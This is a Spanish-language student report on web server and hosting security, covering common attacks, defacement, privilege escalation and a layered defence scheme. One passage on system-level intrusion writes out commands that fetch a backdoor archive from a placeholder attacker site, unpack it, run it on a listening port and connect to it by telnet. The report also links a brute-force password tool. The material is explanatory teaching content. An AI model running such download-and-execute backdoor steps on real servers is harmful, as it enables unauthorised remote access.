Sunteți pe pagina 1din 30

Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

TCP IP / Profesor Juan Olivares

SEGURIDAD EN
SERVIDORES WEB Y
HOSTING

Alumnos:
Heine Vargas
Pablo Carmona
Luis Sanhueza
Christian Cuevas
Carrera:
Gestión y Soporte de Redes 3 º Semestre.

Página 1 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Introducción

En los últimos años la evolución, y la posterior innovación de la tecnología ha generado grandes


avances en todos los ámbitos. Las comunicaciones han sido las de mayor desarrollo, especialmente
el desarrollo de Internet.

Internet está presente en nuestras vidas y en nuestras costumbres, en la forma de buscar


información, de entretenernos, de comunicarnos y por supuesto, ha hecho que aparezcan nuevas
formas de comprar y vender bienes.

Desde el comunicarse por Messenger o comunicarse vía Skype, hasta el revisar la cuenta
corriente bancaria mediante Internet, el uso de la red ha ido ocupando un lugar en la vida de cada
persona.

Estos cambios conllevan grandes beneficios no sólo para las personas, también para las
empresas que han encontrado grandes oportunidades en los desarrollos de las comunicaciones.
Estas tecnologías están al alcance tanto de las grandes empresas como de las pequeñas. Cualquiera
de estos avances puede estar al alcance de otras empresas o potenciales clientes dispersos
alrededor del mundo.

De esta manera, se han desarrollado un gran número de operaciones comerciales novedosas.


Pero así como crecen los beneficios, esta nueva realidad presenta un desafío para las autoridades
fiscales, ya que no es tarea fácil crear un sistema legal-impositivo adecuado a los nuevos tipos de
comercio.

Y como sucede en Chile y el resto del planeta, a medida de que las medidas de seguridad se
van optimizando, la delincuencia va sofisticando cada vez más sus métodos de intrusión e infiltración
en los sistemas.

Lo cual, requiere de una retroalimentación constante, mantenerse informado, y de este modo,


estar preparado ante un inminente ataque.

El comercio electrónico va creciendo cada día, ya que es una forma cómoda y rápida de adquirir
lo que necesitemos sin movernos de nuestra casa.

Página 2 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Objetivos

El objetivo general que tiene el presente trabajo es el presentar un trabajo bien constituido
sobre la seguridad en servidores y alojamiento Web, explicando una serie de conceptos
relacionados al tema, comenzando por definir los dispositivos en los cuales se está enfocando
el concepto, las vulnerabilidades y medidas, en lo que respecta a la seguridad.

Los objetivos específicos del presente trabajo son:

1.- Que el trabajo permita identificar las vulnerabilidades comunes en los que respecta a la
seguridad de servidores Web y hosting.

2.- Presentar ante la autoridad evaluadora un trabajo bien constituido, el cual se encuentre bien
distribuido, con un esquema ordenado.

3.- Que los alumnos realizadores del trabajo aprendan los conceptos tratados, y éstos puedan
ser aplicados en el ramo de protocolos TCP-IP.

Página 3 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Servidor Web

¿Qué es un servidor Web?

Básicamente, un servidor Web sirve contenido estático a un navegador, carga un archivo y lo sirve a
través de la red al navegador de un usuario. Este intercambio es mediado por el navegador y el
servidor que hablan el uno con el otro mediante HTTP.

Se pueden utilizar varias tecnologías en el servidor para aumentar su potencia más allá de su
capacidad de entregar páginas HTML; éstas incluyen scripts CGI, seguridad SSL y páginas activas
del servidor (ASP).

Los Servidores almacenan información en forma de páginas Web y a través del


Protocolo HTTP lo entregan a petición de los clientes (navegadores Web) en formato HTML.

Servidor Web

Página 4 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Funcionamiento

El Servidor Web se ejecuta en un ordenador manteniéndose a la espera de peticiones por parte de un


cliente (un navegador Web) y que responde a estas peticiones adecuadamente, mediante una página
Web que se exhibirá en el navegador o mostrando el respectivo mensaje si se detectó algún error. A
modo de ejemplo, al teclear www.wikipedia.org (http://www.wikipedia.org) en nuestro navegador, éste
realiza una petición HTTP al servidor de dicha dirección. El servidor responde al cliente enviando el
código HTML de la página; el cliente, una vez recibido el código, lo interpreta y lo exhibe en pantalla.

Funcionamiento de un servidor Web

Como vemos con este ejemplo, el cliente es el encargado de interpretar el código HTML, es decir, de
mostrar las fuentes, los colores y la disposición de los textos y objetos de la página; el servidor tan
sólo se limita a transferir el código de la página sin llevar a cabo ninguna interpretación de la misma.
Además de la transferencia de código HTML, los Servidores Web pueden entregar aplicaciones Web.
Éstas son porciones de código que se ejecutan cuando se realizan ciertas peticiones o respuestas
HTTP. Hay que distinguir
entre:

Aplicaciones en el lado del cliente: el cliente Web es el encargado de ejecutarlas en la máquina del
usuario.

Son las aplicaciones tipo Java "applets" o Javascript: el servidor proporciona el código de las
aplicaciones al cliente y éste, mediante el navegador, las ejecuta. Es necesario, por tanto, que el
cliente disponga de un navegador con capacidad para ejecutar aplicaciones (también llamadas

Página 5 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

scripts). Comúnmente, los navegadores permiten ejecutar aplicaciones escritas en lenguaje javascript
y java, aunque pueden añadirse más lenguajes mediante el uso de plugins.

Aplicaciones en el lado del servidor: el servidor Web ejecuta la aplicación; ésta, una vez ejecutada,
genera cierto código HTML; el servidor toma este código recién creado y lo envía al cliente por medio
del protocolo HTTP.
Las aplicaciones de servidor muchas veces suelen ser la mejor opción para realizar aplicaciones Web.
La razón es
que, al ejecutarse ésta en el servidor y no en la máquina del cliente, éste no necesita ninguna
capacidad añadida, como sí ocurre en el caso de querer ejecutar aplicaciones javascript o java. Así
pues, cualquier cliente dotado de un navegador Web básico puede utilizar este tipo de aplicaciones.
El hecho de que HTTP y HTML estén íntimamente ligados no debe dar lugar a confundir ambos
términos. HTML es un lenguaje de marcas y HTTP es un protocolo.

Servidor Web Local

Protocolo Cliente-Servidor.-

Instalar un servidor Web en nuestro PC nos permitirá, entre otras cosas, poder montar nuestra propia
página Web sin necesidad de contratar hosting, probar nuestros desarrollos vía local, acceder a los
archivos de nuestro equipo desde un PC remoto (aunque para esto existen otras opciones, como
utilizar un servidor FTP) o utilizar alguno de los programas basados en Web tan interesantes que
están viendo la luz últimamente. El problema de usar nuestro
ordenador como servidor Web es que conviene tenerlo encendido permanentemente (para que esté
accesible de forma continua como la mayoría de los sitios webs), con el consiguiente coste debido al
consumo de electricidad
(Conviene tener en cuenta que hay alojamientos Web gratuitos, incluso sin publicidad y con
interesantes funciones).
Software
Algunos servidores Web importantes son:
Apache, IIS, Cherokee
Otros servidores, más simples pero más rápidos, son:
Lighttpd y thttpd

Página 6 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Web Hosting

¿Qué es Web Hosting?

Web Hosting es la renta de espacio en un servidor de Internet para colocar páginas Web. De
esta manera no hay que preocuparse por comprar un servidor que tiene que estar conectado 24 horas
al día, configurarlo, contratar personal especializado, etc.

Imagen relativa al alojamiento Web.-

Un servicio de Web hosting, es el que presta una empresa que provee espacio para
alojamiento de páginas Web. Las empresas de alojamiento (hosting) tienen sistemas que actúan
como servidores Web (“hosts”) o han comprado espacio en un servidor de una tercera empresa. Las
empresas de hosting venden espacio a sus clientes en su servidor, los cuales luego, alojan los
archivos, gráficos y otros relativos a sus páginas Web, desde donde pueden ser vistos en la World
Wide Web. Los servidores de las empresas host están conectadas al WWW las 24 horas del día todo
el año, para que cualquiera pueda tener acceso a una determinada página Web, en cualquier
momento con solo ingresar su dirección URL.

La mayoría de empresas host, ofrecen el servicio de alojamiento a sus clientes por una tarifa
mensual, trimestral o anual. Los servicios de hosting básicos pueden variar en lo que ofrecen, pero la
mayoría ofrecen más o menos lo mismo, con programas para principiantes a tarifas muy bajas. Los
servicios de hosting pueden costar más debido a que se contrata mayor espacio de alojamiento,
cuentas adicionales de correo, y otros servicios más complejos, como “carritos de compra” en línea y
comercio electrónico.

Página 7 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Servidor seguro en el comercio electrónico en un website

Con un servidor seguro la información transmitida entre su website y el visitante es codificada,


de manera que si alguien logra interceptar la transmisión le será muy difícil descifrar los números de
tarjeta de crédito y demás datos, por lo que no podría utilizarlos contra la empresa y sus clientes,
generando la confianza necesaria para que compren.

Certificado de un servidor seguro

Con un certificado los visitantes de la website estarán seguros de que están conectados a su
website de manera segura porque con el certificado todos los datos enviados entre el visitante y su
website son codificados.

Firma digital

La firma digital hace referencia, en la transmisión de mensajes telemáticos y en la gestión


de documentos electrónicos, a un método criptográfico que asocia la identidad de una persona o de
un equipo informático al mensaje o documento. En función del tipo de firma, puede, además, asegurar
la integridad del documento o mensaje.

La firma electrónica, como la firma hológrafa (autógrafa, manuscrita), puede vincularse a un


documento para identificar al autor, para señalar conformidad (o disconformidad) con el contenido,
para indicar que se ha leído y, en su defecto mostrar el tipo de firma y garantizar que no se pueda
modificar su contenido.

HTTP y HTTPS, representados con sus respectivas pilas de protocolos.

Página 8 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Formato de la firma electrónica

Regulaciones en diferentes países

El marco común de firma electrónica de la Unión Europea

El mercado interior de la Unión Europea implica un espacio sin fronteras interiores en el que está
garantizada la libre circulación de mercancías. Deben satisfacerse los requisitos esenciales
específicos de los productos de firma electrónica a fin de garantizar la libre circulación en el mercado
interior y fomentar la confianza en la firma electrónica.

En ese sentido la Directiva 1999/93/CE sienta un marco común para la firma electrónica que se
concretó con la transposición de la Directiva a las diferentes legislaciones nacionales de los países
miembros.

Ley sobre firma electrónica en Chile

Esta ley fue publicada el 15 de septiembre del año 2003 por el Ministerio Secretaría General de la
Presidencia, la Ley 19.799 sobre Documentos Electrónicos, Firma Electrónica y Servicios de
Certificación de dicha firma, reconoce que los órganos del Estado podrán ejecutar o realizar actos,
celebrar contratos y expedir cualquier documento, dentro de su ámbito de competencia,
suscribiéndolos por medio de firma electrónica simple. Igualmente señala que estos actos, contratos y
documentos, suscritos mediante firma electrónica, serán válidos de la misma manera y producirán los
mismos efectos que los expedidos en soporte de papel.

Página 9 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Ataques al servidor Web

Vulnerabilidad de los servicios en la Web

Los primeros ataques a la red aprovecharon las vulnerabilidades relacionadas con la implementación
de conjuntos de protocolos TCP/IP. Al corregirlas gradualmente, los ataques se dirigieron a las capas
de aplicaciones y a la Web en particular, ya que la mayoría de las empresas abrieron sus sistemas de
firewall al tráfico en Internet.

El protocolo HTTP (o HTTPS) representa el estándar que posibilita la transferencia de páginas Web a
través de un sistema de solicitud y respuesta.

Internet, que se utiliza principalmente para transferir páginas Web estáticas, se ha convertido
rápidamente en una herramienta interactiva que permite proporcionar servicios en línea. El término
"aplicación Web" se refiere a cualquier aplicación a cuya interfaz se pueda acceder en la Web desde
un simple navegador. Hoy en día, el protocolo HTTP, la base para una determinada cantidad de
tecnologías (SOAP, Javascript, XML-RPC, etc.), juega un indudable papel estratégico en la seguridad
de sistemas de información.

Debido a que los servidores Web están cada vez más protegidos, los ataques están dirigiendo su
atención al aprovechamiento de las fallas de las aplicaciones Web.

Como tal, la seguridad de los servicios de Internet debe tenerse en cuenta al momento del diseño y
desarrollo.

Algunas vulnerabilidades ilustradas durante el tráfico cliente-servidor

Página 10 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Tipos de vulnerabilidades

Las vulnerabilidades de aplicaciones Web se pueden clasificar de la siguiente manera:


Vulnerabilidades del servidor Web. Este tipo es cada vez más atípico ya que la mayoría de los
Desarrolladores de servidores Web han aumentado su seguridad con los años;
Manipulación de URL, incluida la modificación manual de parámetros de URL para modificar el
comportamiento esperado del servidor Web;
Aprovechamiento de las debilidades de los identificadores de sesión y sistemas de autenticación;
Inyección de código HTML y Secuencia de comandos entre sitios;
Inyección de comandos SQL.

La verificación necesaria de los datos de entrada


El protocolo HTTP se utiliza por naturaleza para administrar las solicitudes, es decir, para recibir los
datos de
entrada y enviar los datos de retorno. Los datos se pueden enviar de varias maneras:
La URL de la página Web
En encabezados HTTP
En el cuerpo de la solicitud (solicitud POST)
A través de una cookie
En general, la idea básica a tener en cuenta durante el proceso de desarrollo es que nunca se debe
confiar en los datos enviados por el cliente.
Casi todas las vulnerabilidades de los servicios Web están vinculadas a la negligencia por parte de los
diseñadores, quienes no han verificado el formato de los datos ingresados por los usuarios.

Página 11 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Impacto de los ataques en la Web


Los ataques a las aplicaciones Web siempre son dañinos ya que proporcionan una mala imagen a la
empresa.
Un ataque exitoso puede provocar cualquiera de las siguientes consecuencias:
Desfiguración de la página Web;
Robo de información;
Modificación de datos, y en particular la modificación de datos personales de los usuarios;
Intrusión en el servidor Web.

Página 12 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Amenazas contra los servidores Web

Obtención usuario y clave con diccionarios o fuerza bruta (http://www.hoobie.net/brutus/)

Hoy día, hay un enorme número de amenazas a las que hace frente a un servidor Web, muchas de
ellas dependen del uso, el sistema operativo y el ambiente que se haya configurado en el sistema
mismo. Estos son algunos de los ataques más genéricos que su "pobre" servidor puede enfrentar.

Negación del servicio


Un ataque por negación del servicio (DOS) es uno de los ataques de la “vieja escuela”
que el servidor puede enfrentar. El ataque es muy simple, y hoy en día es realizado por aquellos
individuos conocidos comúnmente como script kiddies, con un perfil de habilidades técnicas bajo. En
resumen, un ataque DOS es un ataque en el cual un sistema ataca otro con la intención de consumir
todos los recursos del sistema (tales como ancho de banda o ciclos del procesador), no dejando nada
libre para peticiones legítimas. Generalmente, estos ataques se han relegado a la categoría de
molestias, pero no por ello hay razón para bajar la guardia ante ellos, aunque hay un montón de cosas
más para mantenerse despierto.

Negación del servicio distribuida


El ataque por negación del servicio distribuido (DDoS) es el hermano mayor del ataque DOS y como
tal es más malo y más sucio. La meta del ataque DDoS es hacer la misma cosa que el DOS, pero a
una escala mucho más grande y compleja. En un ataque de DDoS, en vez de un sistema ataque a

Página 13 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

otro, un atacante utiliza sistemas múltiples para apuntar un servidor (su servidor), y sistemas múltiples
significa (en algunos casos) no centenares o millares, sino hasta cientos de millares. Donde el ataque
DOS es tan solo una molestia, un ataque de DDoS puede ser mortal, ya que puede llevar a un
servidor fuera de línea rápidamente. La buena noticia es que el nivel de habilidad requerido para
contrarrestar un ataque DDoS apagado no es tan
alto.
Algunos de los ataques más comunes de DDoS incluyen:

Ataques FTP. Un ataque FTP (File Transfer Protocol) se decreta cuando un atacante carga en un
servidor ftp un archivo construido especialmente para hacerlo vulnerable, el efecto es que
alternadamente lo remite a otra localización, que es generalmente otro servidor ftp dentro de la
organización.
El archivo enviado típicamente contiene una cierta clase de carga diseñada para hacer que el servidor
final haga lo que el atacante desea.

Simulación ataque Dos Ftp


Ataque de exploración de puertos. Un ataque de exploración de puertos se realiza a través
la exploración estructurada y sistemática de un Host. Por ejemplo, alguien puede explorar su servidor
Web con la intención de encontrar servicios expuestos u otras vulnerabilidades que puedan ser
explotadas. Este ataque puede ser realizado de una manera fácil con cualquier número de programas
exploradores de puertos disponibles gratuitamente en Internet.
También es uno de los tipos de ataque más comunes, pues es tan simple que los pequeños hackers
(script kiddies) los realizan apenas consiguen el nombre de un Host o la dirección IP de un servidor
(sin embargo, típicamente ellos no saben interpretar los resultados). Tenga esto presente, pues un
atacante con más habilidades utilizará la exploración de puertos para descubrir información que usará
en un esfuerzo posterior.

Ataque de exploración de puertos

Página 14 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Ataque de inundación por ping (Pingflood). Es un ataque simple DDoS en cuál una
computadora envía un paquete (ping) a otro sistema con la intención de descubrir información sobre
servicios o sistemas de arriba a abajo. En el extremo inferior, una inundación por Ping se puede
utilizar para descubrir información encubierta, pero en la parte alta los paquetes que son
enviados a una blanco o víctima pueden provocar que el sistema quede fuera de línea o sufra
retardos. Este es un ataque a la “vieja escuela”, pero es aún muy eficaz, ya que cierto número de
sistemas operativos modernos siguen siendo susceptibles a este.

ataque de inundación por ping (PingFlood)

Ataque "Smurf". Este ataque es similar al ataque de inundación por ping pero con una astuta
modificación al proceso. En un ataque Smurf, el comando "ping" se envía a una red intermedia, donde
el efecto se amplifica y se remite a la víctima. Así, lo que antes era una sola “gota” ahora se convierta
en un "tsunami" virtual de tráfico. Afortunadamente, este tipo de ataques es raro.

Ataque Smurf

Página 15 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Ataque por inundación SYN (Synflood). Este ataque requiere un cierto conocimiento del
protocolo TCP/IP -es decir como trabaja el proceso de comunicación IP-. La manera más fácil de
explicar este ataque es con una analogía. Este ataque es el equivalente en una red a enviar a alguien
una carta que requiere una respuesta, solamente que la carta utiliza un falso
remitente. Así cuando el objetivo envía de vuelta la carta espera una respuesta, pero la respuesta
nunca llega porque de alguna manera entra en un hoyo negro en algún lugar. Suficientes peticiones
SYN al sistema y el atacante puede provocar que se utilicen todas las conexiones disponibles en el
sistema, de modo que nada mas pueda fluir a través de este.

Ataque por inundación SYM (SynFlood)

Ataque de fragmentación. En este caso, un atacante utiliza conocimientos avanzados del


protocolo del TCP/IP para romper los paquetes en pedazos o “fragmentos” más pequeños, que
puentean la mayoría de los sistemas de intrusión-detección. En casos extremos, este tipo de ataque
puede causar caídas, bloqueos, reboots, pantallas azules y otro tipo de travesuras.
Afortunadamente, este ataque es difícil de lograr.

uso de Fragmentación

Página 16 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Ataque SNMP. Estos ataques se diseñan específicamente para explotar el servicio SNMP, el cual
maneja la red y los dispositivos en ella. Ya que el servicio SNMP se usa para manejar los dispositivos
de la red, al explotar este servicio se puede conseguir inteligencia detallada sobre la estructura de la
red que puede utilizarse más adelante para otros ataques.

SNMP

Desconfiguración de la página Web


La desconfiguración de la página Web ocurre de vez en cuando. Como su nombre lo indica, este
ataque resulta de una desconfiguración del sitio, cuando un servidor está incorrectamente
configurado, y un atacante utiliza esta debilidad para modificar páginas bajo cualquier cantidad de
razones, por ejemplo la diversión o promover una causa política.

Pagina Web desconfigurada.

Página 17 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Inyección SQL
Inyecciones SQL (lenguaje de consulta estructurada), son los ataques realizados contra bases de
datos. En este caso, un atacante utiliza debilidades en el diseño de la base de datos o de la página
Web para extraer información o más aún, para manipular información dentro de la base de datos.
Aunque no es posible en este caso ser más específicos respecto a cómo quitar este tipo de ataque,
usted puede evitarlo si tiene conocimientos de SQL, los cuales debería tener -si está hospedando una
base de datos en su servidor Web-.

Inyección SQL

Codificación pobre
Cualquier persona que ha sido desarrollador o ha trabajado en tecnologías de la información ha visto
los problemas asociados a prácticas descuidadas o perezosas en la codificación. Una pobre
codificación puede generar un gran número de factores, incluyendo un pobre entrenamiento, nuevos
desarrollos, o una escasa garantía de calidad para una aplicación. En el mejor de los casos, una
codificación pobre puede ser no mas que una molestia, donde las funcionalidades de una aplicación
no trabajen según lo anunciado; pero en el peor de los casos, las aplicaciones pobremente
codificadas pueden tener "agujeros" de seguridad importantes.

Página 18 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Programación en PHP.

Códigos empaquetado (Shrink-wrapped code)


Este problema se relaciona con los anteriores casos de codificación pobre, pero con una diferencia:
Básicamente, el problema proviene de la conveniencia de obtener componentes precompilados o
desarrollados de antemano, que se pueden utilizar como bloques para construir aplicaciones propias.
Su desventaja es que los componentes utilizados pueden no haber pasado un proceso de revisión de
su código -tal como el que usted haría-, y su uso puede crear problemas potenciales.
Adicionalmente, no es extraño escuchar por parte de los desarrolladores que realmente "no saben
como analizar el código y entender totalmente lo que está haciendo" como para saber poner en uso
componentes “empaquetados”. En al menos un caso puedo pensarlo. Estoy enterado de un revelador
caso en el que usando un bloque del código empaquetado para proporcionar un mecanismo de
autentificación - para una aplicación que autentificaba usuarios reales-, también se enviaban
electrónicamente las mismas credenciales de manera secreta a una tercera persona.

Página 19 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Los dos niveles de ataques a servidores Web

Ataque a sitio de dominio.gov.ar 13/8/2004

Un mal día entramos a nuestro sitio Web, y en lugar de ver nuestra página de siempre nos
encontramos con otra portada: "defaced" o "este servidor ha sido hackeado". Una vez confirmado que
realmente es así (que no se trata de un desvío del dominio), debemos identificar en qué nivel ha sido
realizada la intrusión: nivel de aplicación o nivel de sistema. En uno u otro nivel los riesgos son
distintos, y son distintas las medidas a tomar para corregir el problema.

Una foto del Che Guevara, el símbolo de la anarquía... la cara de un mono... Fido Dido... un paquete
de sopa instantánea... Sea cual fuere la nueva "presentación" de nuestro sitio Web, lo primero que
debemos hacer (además de tranquilizarnos frente al estado de shock que producen estas situaciones)
es verificar si el servidor realmente ha sido vulnerado, y que no se trate simplemente de un desvío de
DNS.
Voy a resumir el problema del DNS: el Domain Name System es el responsable de traducir los
nombres de los sitios a las direcciones IP de los servidores donde éstos están alojados. Así cuando
escribimos "www.sitioweb.com" el DNS retorna la dirección IP del servidor (como ser
200.40.129.50). Ahora imaginemos que un servidor DNS (hay millones) ha sido engañado, y en lugar
de retornar la dirección IP correcta, nos devuelve la IP de otro server donde se aloja la página Web
que vemos en lugar de la nuestra.

Página 20 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

A esto se le llama "DNS spoofing", y sus efectos normalmente son locales. Es decir: el fallo lo
experimentan sólo las máquinas que se basan (resuelven) en el servidor DNS en cuestión (una
empresa, un ISP, una ciudad). Y el resto del mundo sigue viendo nuestro sitio Web original sin
problemas.
Bien, una vez descartado que se trate de DNS spoofing, y confirmado -IP mediante- que nuestro sitio
Web realmente ha sido modificado, estamos en hora de determinar si el ataque se realizó a nivel de
aplicación o a nivel de sistema.

Nivel de Sistema
Es el nivel de acceso que representa más riesgo. Es lo que todo intruso desea lograr en una máquina:
tener el control total de los recursos... adueñarse
completamente de la máquina con los mismos privilegios que el propio administrador.
El acceso a nivel de sistema implica el acceso al mismo sistema operativo, en última instancia
mediante un terminal remoto.
Estos accesos se logran a través de algún servicio mal configurado, o de aplicaciones vulnerables que
permitan la ejecución de código arbitrario en el server. Por ejemplo: si tenemos abierto un servicio
telnet, o un SSH vulnerable, estamos dando al atacante una terminal de acceso para que
simplemente comience a trabajar en su próximo paso que discutiremos en las próximas líneas: la
escalada de privilegios.

Otra posible entrada a un sistema es la explotación de servicios vulnerables que permitan


desbordamientos de búfers (que nos permitan, aún sin tener un terminal, ejecutar comandos en el
sistema operativo).

Consideremos el siguiente caso: un intruso sabe que mediante un sendmail mal configurado, o un
proFTPd u otro software, tiene la posibilidad de ejecutar comandos sobre la máquina... Y esos
comandos pueden ser:

1) wget http://www.sitiohacker.com/backdoor.tar.gz
2) tar -xvzpf ./backdoor.tar.gz
3) cd backdoor
4) ./backdoor -p 10040

En al paso (1) baja de internet un paquete comprimido conteniendo un software de intrusión


(backdoor.tar.gz en nuestro ejemplo). En el paso (2) descomprime el paquete en el directorio actual
(no importa cual sea). En el paso (3) se mueve al directorio que ha sido creado tras descomprimir las
herramientas. Y en el paso (4) ejecuta un comando que pone a funcionar el servicio "backdoor"

Página 21 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

escuchando en el puerto TCP 10040. (sólo se trata de un ejemplo: las direcciones y los nombres son
ficticios. En la práctica puede haber miles de posibilidades).
Hasta ahora el intruso ha ejecutado estos comandos sin retorno visual: no tiene una pantalla que le
permita ver los resultados de lo que está tecleando, ya que la vulnerabilidad le permite sólo enviar los
comandos que llegan al sistema operativo mediante una vía alternativa.

Pero ahora el intruso, cómodamente y desde su máquina, puede hacer lo siguiente:

telnet 172.16.100.21 10040

...donde la IP del servidor atacado es 172.16.100.21, y 10040 es el puerto donde el hacker puso a
funcionar su aplicación "backdoor". Ahora sí, el hacker tiene una terminal de acceso a nuestro
sistema. Casi con la comodidad de estar en su propia PC. Pero para tener el control total del servidor
aún le hace falta realizar otro trabajo:

Escalada de privilegios En el ejemplo anterior describiendo la forma de realizar un acceso,


todos los comandos que se ejecutaron en el sistema (incluso la ejecución del programa "backdoor", y
los comandos que a su vez se ejecuten a través de éste) se harán con los privilegios y permisos que
tenga el programa a través del cual se accedió al servidor. En caso de haber accedido por una brecha
de proFTPd, seremos el usuario "ftp", o "nobody":
usuarios menores, con privilegios recortados, incapaces de realizar grandes cambios en la
configuración del servidor.

La "escalada de privilegios" tiene un nombre bien autoexplicativo: consiste en la realización de uno o


más ataques a programas locales mal configurados, y a través de los mismos ir logrando nuevos
privilegios, hasta tomar el lugar del superusuario root (o wheel en los BSD). Sobre este punto se
pueden escribir decenas de libros, pero su profundización está fuera de los objetivos de este artículo.

Quien se haya tomado el trabajo de acceder de esta forma a un servidor, difícilmente sea tan estúpido
como para dedicarse a modificar las páginas Web poniendo "servidor hackeado". Por el contrario:
esta categoría de intrusos permanece en silencio, tratan de permanecer inadvertidos durante todo el
tiempo posible para así poder sacar el máximo provecho posible de "su nuevo servidor". Tal vez sólo
al final, como broche de oro, tome la iniciativa de cambiar la portada del sitio Web (cuando el servidor
no le sirva más para sus objetivos, o si es descubierto y se da cuenta de que va a ser expulsado).

Página 22 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Nivel de Aplicación
Los ataques a nivel de aplicación son aquellos que se realizan explotando vulnerabilidades de
aplicaciones que permitan modificar los datos que la propia aplicación manipula, pero sin la
posibilidad de ejecución de comandos sobre el sistema operativo.

Ejemplos: la modificación o borrado de contenidos en un sistema de gestión de portales, como


phpNuke o Mambo. O la manipulación de una base de datos SQL mediante un acceso no autorizado
a un phpMyAdmin vulnerable.
En este tipo de ataques el intruso puede cambiar lo que desee en nuestro sitio Web, o en nuestras
bases de datos. Pero no se puede considerar que el servidor esté comprometido, ni que el intruso
haya entrado efectivamente en el sistema.
Los ataques a nivel de aplicación son los más comunes y visibles (y los más populares entre los
chicos traviesos aficionados a romper cosas). De modo que el servidor -a pesar de estos ataques-
permanece intacto. La seriedad y la gravedad de estos ataques depende de la importancia de la
aplicación Web atacada: no es lo mismo un ataque de este tipo en una galería de fotos online, que en
una aplicación de procesamiento de pagos y transferencias
financieras.

Consideraciones de seguridad en Servidores Web

Medidas Preventivas: Su objetivo es prevenir o dificultar la intrusión ejemplo: Firewalls

Firewall

Página 23 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Medidas Reactivas: Reaccionan ante la amenaza tomando contra medidas ejemplo:


Firewall de aplicaciones, Mod_security, Sistema de detección de ataques de fuerza bruta, etc.

Mod Security
Medidas de Detección: Ayudan a detectar si una intrusión a ocurrido o está en proceso.
Ejemplo: HIDS como Tripwire, chkrootkit

chkrootkit en linux
Medidas de Recuperación: Ayudan a recuperar la operabilidad luego de una intrusión
Ejemplo: backups e imágenes de disco.
Al implementar un esquema de seguridad, se debe planear en líneas defensivas, cada línea refuerza
la anterior, de modo que el fallo o la vulnerabilidad de una línea no comprometa la
instalación, piense como el enemigo, monitoree sus logs e investigue cualquier indicio sospechoso.

Backup

Página 24 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Un ejemplo típico de un esquema defensivo:

Primera lìnea
Componente: Software
Objetivo: Mantener nuestro software al día y con sus respectivos parches de seguridad aplicados

Segunda línea
Componente: Firewall
Objetivo: Reglamentar el tráfico de entrada/salida
Ejemplos: APF, Firewalls de hardware, etc.
Un firewall clásico evita que accesos a determinados servicios de nuestro servidor pero no protegerá
los servicios que obligatoriamente debemos dejar abiertos en un servidor Web como son: http, mail,
ssh, etc

Tercera línea
Componente: Sistema de detección de ataques de fuerza bruta.
Objetivo: Proteger nuestros puntos de entrada al servidor, ssh, ftp, etc. que un firewall clásico
no protegería.
Ejemplos: BFD
Los hackers saben muy bien que muchos usuarios son descuidados con sus passwords, también
saben que muchísima gente usa su mismo login como password, además existen numerosas
herramientas que facilitan el ataque a servicios como ftp y ssh, estos ataques tratan de ingresas miles
de combinaciones de usuarios y passwords, para tratar de dar con alguna que funcione.

Cuarta línea
Componente: Firewall de aplicación.
Objetivo: Proteger nuestras aplicaciones Web de uso malicioso
Ejemplo: mod_security
Muchas aplicaciones Web son inseguras, una no adecuada validación de variables y formularios
puede ser la puerta de entrada para hacker, los firewalls de aplicaciones protegen nuestras
aplicaciones de uso malicioso.

Quinta línea
Componente: HIDS activos
Objetivo: Examinar los paquetes entrantes en busca de ataques conocidos
Ejemplo: SNORT
estos sistemas verifican el tráfico entrante y lo comparan con patrones de ataque conocidos y
en base a eso pueden tomar acciones.

Página 25 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Sexta línea
Componente: HIDS pasivos
Objetivo: Detectar intrusiones recientes o en proceso
Ejemplo: Tripwire
La idea básica detrás de estos sistemas es saber con exactitud si una intrusión ha ocurrido
y saber que partes del sistema fueron modificados, de esta manera podemos planear la recuperación
y parcheo del sistema

Séptima línea
BACKUP: Después de una intrusión, esto es lo único que le quedará; asegúrese de que realizar
periódicamente copias de respaldo y mensualmente haga pruebas de restauración.

Consejos generales de seguridad:

Proteja su computadora personal tanto como su servidor, de nada vale proteger su


server si un hacker puede robarle su contraseña fácilmente de su computadora.

Revise los logs diariamente;


Investigue cualquier anomalía.
Manténgase informado acerca de las últimas amenazas de seguridad.
Parta de la premisa de que NO existe un servidor impenetrable solo difícil de comprometer.
Seguridad no es instalar paquetes de seguridad en su servidor, es una filosofía de trabajo.

Investigar cualquier Anomalía

Página 26 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Otras consideraciones de seguridad, vistas desde otro punto de


vista:

Usar siempre software en su última versión release (estable): Esto ya que las
últimas versiones traen normalmente resueltos problemas de seguridad detectados que podrían ser
usados en contra de un servidor.

Instalar solo los servicios necesarios que se van a utilizar: (por ejemplo Servidor
Web o Servidor de base de datos), nunca instalar servicios que no se utilizarán como servidores de
correo innecesarios y servicios de compartir de archivos entre otros.

Cambiar puertos por defecto: a las aplicaciones comunes que se puedan considerar
vulnerables.
